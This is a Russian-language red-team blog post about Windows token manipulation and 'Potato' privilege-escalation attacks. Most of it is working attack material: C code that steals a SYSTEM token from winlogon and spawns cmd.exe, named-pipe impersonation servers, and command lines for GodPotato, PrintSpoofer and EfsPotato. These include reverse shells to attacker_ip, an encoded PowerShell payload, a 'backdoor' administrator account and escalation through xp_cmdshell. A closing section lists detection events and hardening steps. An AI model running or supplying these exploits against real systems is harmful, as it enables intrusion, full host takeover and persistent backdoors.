Token Manipulation 2026 — Impersonation, Potato Attacks, Token Theft: от сервисного аккаунта до SYSTEM

Posted on 3 апреля, 2026 by AkaTor

Категория: Red Team / Privilege Escalation
Уровень: Advanced
Автор: Aka Tor
Дата: Апрель 2026

Введение

Каждый процесс в Windows работает под токеном безопасности. Токен определяет кто вы, какие привилегии имеете, к чему можете обращаться. Манипуляция токенами — одна из основных техник повышения привилегий: от сервисного аккаунта до SYSTEM, от обычного пользователя до администратора.

Ключевая привилегия — `SeImpersonatePrivilege`. Она есть у всех сервисных аккаунтов (IIS AppPool, MSSQL, сервисы Windows). С ней можно украсть токен любого процесса и выполнить код от его имени. Potato-атаки превращают эту привилегию в полный SYSTEM доступ.

Предупреждение: Материал для авторизованного пентестинга и исследования безопасности.

Содержание

---

1. Архитектура токенов Windows

Токен — объект ядра (`TOKEN` в EPROCESS/ETHREAD), содержащий:

```
SID пользователя        — кто владелец процесса
SID групп               — к каким группам принадлежит
Привилегии              — SeDebugPrivilege, SeImpersonatePrivilege и т.д.
Integrity Level         — Low, Medium, High, System
Session ID              — сессия пользователя
Restricted SIDs         — ограничения (sandbox)
Default DACL            — ACL для новых объектов
```

Получить информацию о текущем токене:

```
# Показать текущего пользователя и привилегии
whoami /all

# Показать конкретные привилегии
whoami /priv
```

```
// Программно: открыть токен текущего процесса
HANDLE hToken;
OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken);

// Получить информацию
```

```
TOKEN_USER* user;
DWORD len;
GetTokenInformation(hToken, TokenUser, NULL, 0, &len);
user = (TOKEN_USER*)malloc(len);
GetTokenInformation(hToken, TokenUser, user, len, &len);

// Преобразовать SID в имя
char name[256], domain[256];
DWORD nameLen = 256, domainLen = 256;
SID_NAME_USE use;
LookupAccountSidA(NULL, user->User.Sid, name, &nameLen, domain,
&domainLen, &use);
printf("Running as: %s\\%s\n", domain, name);
```

---

2. Типы токенов: Primary vs Impersonation

```
Primary Token:
  - Привязан к процессу (EPROCESS.Token)
  - Один на процесс
  - Определяет идентичность процесса
  - Создаётся при логоне (LogonUser → NtCreateToken)

Impersonation Token:
  - Привязан к потоку (ETHREAD.ImpersonationInfo)
  - Временно подменяет идентичность потока
  - Используется серверами для обработки запросов от клиентов
  - 4 уровня имперсонации:
      SecurityAnonymous      — нельзя узнать клиента
      SecurityIdentification — можно узнать, нельзя действовать от
имени
      SecurityImpersonation  — можно действовать от имени ЛОКАЛЬНО
      SecurityDelegation     — можно действовать от имени УДАЛЁННО
```

```
// Impersonation: поток временно принимает чужую идентичность
ImpersonateLoggedOnUser(hTokenOther);
// Теперь текущий поток действует от имени другого пользователя
```

```
// Все операции (файлы, реестр, сеть) выполняются под чужим токеном
CreateFileA("C:\\Users\\Admin\\secret.txt", ...);  // доступ от имени Admin

// Вернуться к исходной идентичности
RevertToSelf();
```

---

3. Ключевые привилегии для эскалации

Привилегия	Что даёт	Кто имеет	Техника эскалации
SeImpersonatePrivilege	Имперсонация любого клиента	Сервисы, IIS, MSSQL	Potato attacks → SYSTEM
SeAssignPrimaryTokenPrivilege	Назначение primary token процессу	SYSTEM, сервисы	CreateProcessAsUser от SYSTEM
SeDebugPrivilege	Открытие любого процесса	Administrators	Token theft из SYSTEM процесса
SeTcbPrivilege	Действовать как часть ОС	SYSTEM	Создание arbitrary token
SeCreateTokenPrivilege	Создание токенов из ничего	SYSTEM (lsass)	NtCreateToken с любыми правами
SeBackupPrivilege	Чтение любого файла	Backup Operators	Чтение SAM/SYSTEM hives
SeRestorePrivilege	Запись любого файла	Backup Operators	Подмена системных файлов

Проверка привилегий из командной строки:

```
# Есть ли SeImpersonatePrivilege?
whoami /priv | findstr "SeImpersonate"
```

```
# Результат для сервисного аккаунта:
# SeImpersonatePrivilege    Impersonate a client after authentication
Enabled
```

---

4. Token Theft — кража токена из чужого процесса

С SeDebugPrivilege можно открыть любой процесс, извлечь его токен и использовать для запуска нового процесса.

```
#include <windows.h>
#include <stdio.h>

BOOL EnablePrivilege(LPCSTR priv) {
    HANDLE hToken;
    TOKEN_PRIVILEGES tp;
    LUID luid;
    OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES |
TOKEN_QUERY, &hToken);
    LookupPrivilegeValueA(NULL, priv, &luid);
    tp.PrivilegeCount = 1;
    tp.Privileges[0].Luid = luid;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
    CloseHandle(hToken);
    return TRUE;
}

int main() {
    EnablePrivilege("SeDebugPrivilege");

    // 1. Открываем SYSTEM процесс (winlogon.exe, PID нужно найти)
    DWORD targetPid = 616;  // winlogon.exe PID
    HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE,
targetPid);

    // 2. Извлекаем токен
```

```
    HANDLE hToken;
    OpenProcessToken(hProcess, TOKEN_DUPLICATE | TOKEN_QUERY,
&hToken);

    // 3. Дублируем как primary token
    HANDLE hNewToken;
    DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL,
        SecurityImpersonation, TokenPrimary, &hNewToken);

    // 4. Запускаем cmd.exe с украденным SYSTEM токеном
    STARTUPINFOA si = { sizeof(si) };
    si.lpDesktop = "winsta0\\default";
    PROCESS_INFORMATION pi;

    CreateProcessAsUserA(hNewToken, "C:\\Windows\\System32\\cmd.exe",
        NULL, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si,
&pi);

    printf("[+] cmd.exe started as SYSTEM (PID %d)\n",
pi.dwProcessId);

    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);
    CloseHandle(hNewToken);
    CloseHandle(hToken);
    CloseHandle(hProcess);
    return 0;
}
```

Требования: SeDebugPrivilege (Administrators). Не работает от обычного пользователя.

---

5. Token Duplication — создание процесса с чужим токеном

Альтернатива Token Theft — через Impersonation + CreateProcessWithTokenW:

```
// Вариант 1: CreateProcessWithTokenW (требует SeImpersonatePrivilege)
HANDLE hToken;  // украденный или полученный токен
HANDLE hDupToken;
DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL,
    SecurityImpersonation, TokenPrimary, &hDupToken);

STARTUPINFOW si = { sizeof(si) };
PROCESS_INFORMATION pi;
CreateProcessWithTokenW(hDupToken, LOGON_WITH_PROFILE,
    L"C:\\Windows\\System32\\cmd.exe", NULL,
    CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);

// Вариант 2: Impersonate + CreateProcessAsUser (требует
SeAssignPrimaryTokenPrivilege)
ImpersonateLoggedOnUser(hToken);
CreateProcessAsUserA(hDupToken, "cmd.exe", ...);
RevertToSelf();
```

---

6. Named Pipe Impersonation — классическая техника

Сервер создаёт named pipe, ждёт подключения привилегированного клиента, имперсонирует его токен.

```
// Сервер (наш код, запущен с SeImpersonatePrivilege)
HANDLE hPipe = CreateNamedPipeA(
    "\\\\.\\pipe\\EvilPipe",
    PIPE_ACCESS_DUPLEX,
    PIPE_TYPE_BYTE | PIPE_WAIT,
    1, 1024, 1024, 0, NULL);

printf("[*] Waiting for SYSTEM client to connect...\n");
ConnectNamedPipe(hPipe, NULL);  // блокирующее ожидание

// Клиент подключился — имперсонируем его
ImpersonateNamedPipeClient(hPipe);
```

```
// Теперь текущий поток работает под токеном клиента
// Если клиент — SYSTEM → мы SYSTEM

HANDLE hToken;
OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hToken);

// Создаём cmd.exe от SYSTEM
HANDLE hPrimary;
DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL,
    SecurityImpersonation, TokenPrimary, &hPrimary);

STARTUPINFOA si = { sizeof(si) };
PROCESS_INFORMATION pi;
CreateProcessAsUserA(hPrimary, "C:\\Windows\\System32\\cmd.exe",
    NULL, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si,
&pi);

printf("[+] SYSTEM shell spawned (PID %d)\n", pi.dwProcessId);

RevertToSelf();
CloseHandle(hPipe);
```

Проблема: нужно заставить SYSTEM процесс подключиться к нашему pipe. Именно это решают Potato атаки.

---

7. Potato Attacks: эволюция

Все Potato атаки решают одну задачу: заставить SYSTEM процесс подключиться к контролируемому pipe/COM, чтобы имперсонировать его токен.

```
2016 — Hot Potato
  Метод: NBNS spoofing + WPAD + HTTP → NTLM relay на локальный pipe
  Статус: Пропатчен (MS16-075)

2018 — JuicyPotato
  Метод: COM/DCOM activation → SYSTEM подключается к COM-серверу на
```

```
нашем pipe
  Требует: SeImpersonatePrivilege + определённый CLSID
  Статус: Работает на Windows 10 (до 1809), Server 2016/2019

2020 — RoguePotato
  Метод: Fake OXID resolver + DCOM activation → remote NTLM → local
pipe
  Обходит: Ограничения JuicyPotato на новых Windows
  Статус: Работает на Windows 10 1809+, Server 2019

2021 — PrintSpoofer
  Метод: Print Spooler RPC → SYSTEM подключается к named pipe
  Не использует COM/DCOM — обходит все патчи Potato
  Статус: Работает до патча Print Spooler

2022 — EfsPotato
  Метод: Encrypting File System RPC (MS-EFSR) → SYSTEM pipe connection
  Обходит: Патчи PrintSpoofer и RoguePotato
  Статус: Частично пропатчен

2023 — GodPotato
  Метод: Универсальный, работает на всех Windows (6.1 → 11)
  Обходит: Все предыдущие патчи
  Статус: Актуален в 2026

2024 — CoercedPotato
  Метод: Комбинация нескольких RPC вызовов
  Статус: Актуален
```

---

8. JuicyPotato / RoguePotato / GodPotato

JuicyPotato (концепт)

```
Принцип:
1. Создаём COM-сервер на произвольном порту
2. Запрашиваем DCOM activation через CoGetInstanceFromIStorage
```

```
3. DCOM runtime (от SYSTEM) подключается к нашему COM-серверу
4. Перехватываем NTLM authentication → получаем SYSTEM токен
5. ImpersonateNamedPipeClient → CreateProcessAsUser

Ограничение: требует конкретный CLSID который работает на целевой ОС
```

```
# Использование JuicyPotato
JuicyPotato.exe -l 1337 -p cmd.exe -t * -c {CLSID}

# Список рабочих CLSID для разных версий Windows:
# Windows 10 1607: {e60687f7-01a1-40aa-86ac-db1cbf673334}
# Windows Server 2016: {8F5DF053-3013-4dd8-B5F4-88214E81C0CF}
# Windows Server 2019: {F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4}
```

GodPotato (универсальный)

```
# Работает на всех Windows без указания CLSID
GodPotato.exe -cmd "cmd /c whoami"
# Результат: nt authority\system

# Reverse shell
GodPotato.exe -cmd "C:\tools\nc.exe -e cmd.exe attacker_ip 4444"
```

Концептуальный код Potato

```
// Упрощённый концепт — pipe server + COM trigger

// 1. Создаём named pipe
HANDLE hPipe = CreateNamedPipeA("\\\\.\\pipe\\evilpipe", ...);

// 2. В отдельном потоке — триггерим DCOM activation
// Это заставит SYSTEM подключиться к нашему pipe
CreateThread(NULL, 0, TriggerDCOM, NULL, 0, NULL);

// 3. Ждём подключения SYSTEM
ConnectNamedPipe(hPipe, NULL);

// 4. Имперсонируем
ImpersonateNamedPipeClient(hPipe);
```

```
// 5. Получаем SYSTEM токен
HANDLE hToken;
OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hToken);

// 6. Дублируем и создаём процесс
HANDLE hPrimary;
DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL,
    SecurityImpersonation, TokenPrimary, &hPrimary);
CreateProcessAsUserA(hPrimary, "cmd.exe", ...);
```

---

9. PrintSpoofer — SeImpersonate через Print Spooler

Использует Print Spooler RPC для принуждения SYSTEM подключиться к named pipe. Не зависит от COM/DCOM — обходит патчи JuicyPotato.

```
# Использование
PrintSpoofer.exe -i -c cmd
# whoami → nt authority\system

# Reverse shell
PrintSpoofer.exe -c "nc.exe attacker_ip 4444 -e cmd.exe"
```

```
Принцип:
1. Создаём named pipe \\.\pipe\test\pipe\spoolss
2. Вызываем SpoolsampOpenPrinter RPC
3. Print Spooler (SYSTEM) подключается к нашему pipe
4. ImpersonateNamedPipeClient → SYSTEM token

Требует: SeImpersonatePrivilege
Работает: Windows 10, Server 2016/2019 (если Spooler запущен)
```

---

10. EfsPotato — через Encrypting File System

Использует MS-EFSR (Encrypting File System Remote Protocol) для принуждения

SYSTEM к подключению. Не требует Print Spooler.

```
# Использование
EfsPotato.exe "cmd.exe"
# whoami → nt authority\system
```

```
Принцип:
1. Создаём named pipe
2. Вызываем EfsRpcOpenFileRaw через LSARPC pipe
3. EFS сервис (SYSTEM) подключается к нашему pipe
4. Impersonation → SYSTEM token

Варианты RPC вызовов:
  EfsRpcOpenFileRaw          — основной
  EfsRpcEncryptFileSrv       — альтернативный
  EfsRpcDecryptFileSrv       — альтернативный
  EfsRpcQueryUsersOnFile     — альтернативный
  EfsRpcQueryRecoveryAgents  — альтернативный
```

---

11. Практика: от IIS AppPool до SYSTEM

Типичный сценарий: получен webshell на IIS сервере. Процесс работает под `IIS APPPOOL\DefaultAppPool` с SeImpersonatePrivilege.

```
# Шаг 1: Проверяем привилегии
whoami /priv
# SeImpersonatePrivilege    Enabled  ← есть!
# SeAssignPrimaryTokenPrivilege  Enabled  ← бонус

# Шаг 2: Проверяем какой Potato работает
# Проверяем Print Spooler
sc query Spooler
# Если Running → PrintSpoofer

# Шаг 3а: PrintSpoofer (если Spooler запущен)
PrintSpoofer.exe -i -c "cmd /c whoami > C:\inetpub\wwwroot\out.txt"
type C:\inetpub\wwwroot\out.txt
```

```
# → nt authority\system

# Шаг 3b: GodPotato (универсальный, если PrintSpoofer не работает)
GodPotato.exe -cmd "cmd /c whoami > C:\inetpub\wwwroot\out.txt"

# Шаг 3c: EfsPotato (если остальные пропатчены)
EfsPotato.exe "cmd /c net user backdoor P@ss123 /add && net localgroup
Administrators backdoor /add"

# Шаг 4: Reverse shell от SYSTEM
GodPotato.exe -cmd "powershell -e JABjAGwAaQBlAG4AdAAgAD0AI..."
```

Для MSSQL — та же техника. `xp_cmdshell` выполняется от сервисного аккаунта с SeImpersonatePrivilege:

```
# Из MSSQL shell:
EXEC xp_cmdshell 'whoami /priv'
# → SeImpersonatePrivilege Enabled

EXEC xp_cmdshell 'C:\tools\GodPotato.exe -cmd "cmd /c whoami"'
# → nt authority\system
```

---

12. Сравнительная таблица

Техника	Требуемая привилегия	Целевая ОС	Зависимости	Статус 2026
Token Theft	SeDebugPrivilege	Все	Нет	Работает
Named Pipe Impersonation	SeImpersonatePrivilege	Все	SYSTEM клиент	Работает
JuicyPotato	SeImpersonatePrivilege	Win10 до 1809	CLSID	Ограничен
RoguePotato	SeImpersonatePrivilege	Win10 1809+	Remote OXID	Работает

PrintSpoofer	SeImpersonatePrivilege	Все (с Spooler)	Print Spooler	Работает
EfsPotato	SeImpersonatePrivilege	Все	EFS service	Частично патчен
GodPotato	SeImpersonatePrivilege	Win 6.1 — 11	Нет	Работает
CoercedPotato	SeImpersonatePrivilege	Все	Нет	Работает

---

13. Blue Team — обнаружение

Индикаторы

1. Event 4624 Logon Type 9 (NewCredentials) — Impersonation logon
2. Event 4688: cmd.exe/powershell.exe запущен от SYSTEM из IIS/MSSQL процесса
3. Sysmon Event 1: необычный parent→child (w3wp.exe → cmd.exe от SYSTEM)
4. Sysmon Event 17/18: Named pipe создан/подключён из сервисного процесса
5. Event 4672: Special privileges assigned — SeImpersonatePrivilege использован
6. Sysmon Event 10: ProcessAccess к winlogon.exe/lsass.exe
7. Процессы JuicyPotato.exe, PrintSpoofer.exe, GodPotato.exe (по имени/хэшу)
8. Нетипичное создание COM-сервера из сервисного процесса
9. RPC вызовы к Spooler/EFS от непривилегированного процесса
10. CreateProcessAsUser/CreateProcessWithTokenW из сервисного контекста

Защита

1. Удалить SeImpersonatePrivilege у сервисных аккаунтов где возможно
2. Использовать Group Managed Service Accounts (gMSA)
3. Отключить Print Spooler на серверах где не нужна печать
4. Минимизировать права IIS AppPool (applicationPoolIdentity)

5. Windows Defender Credential Guard — ограничивает impersonation
6. Мониторинг Event 4672 + 4624 Type 9
7. AppLocker/WDAC: блокировка известных Potato executables
8. Сегментация: MSSQL/IIS не должны иметь доступ к DC
9. Патч MS-EFSR (PetitPotam/EfsPotato)
10. Регулярное обновление Windows — патчи DCOM/RPC уязвимостей

Заключение

SeImpersonatePrivilege — самая недооценённая привилегия Windows. Она есть у каждого сервисного аккаунта по умолчанию, и с ней достаточно одной Potato-атаки для получения SYSTEM. В 2026 году GodPotato и CoercedPotato работают на всех актуальных версиях Windows.

Для Red Team: при получении webshell или SQL injection с xp_cmdshell — первым делом проверьте `whoami /priv`. Если SeImpersonatePrivilege Enabled — путь до SYSTEM занимает одну команду.

Для Blue Team: удаление SeImpersonatePrivilege у сервисных аккаунтов ломает всю линейку Potato атак. Отключение Print Spooler закрывает PrintSpoofer. Мониторинг Event 4672 + нетипичных parent-child relationships — основной источник обнаружения.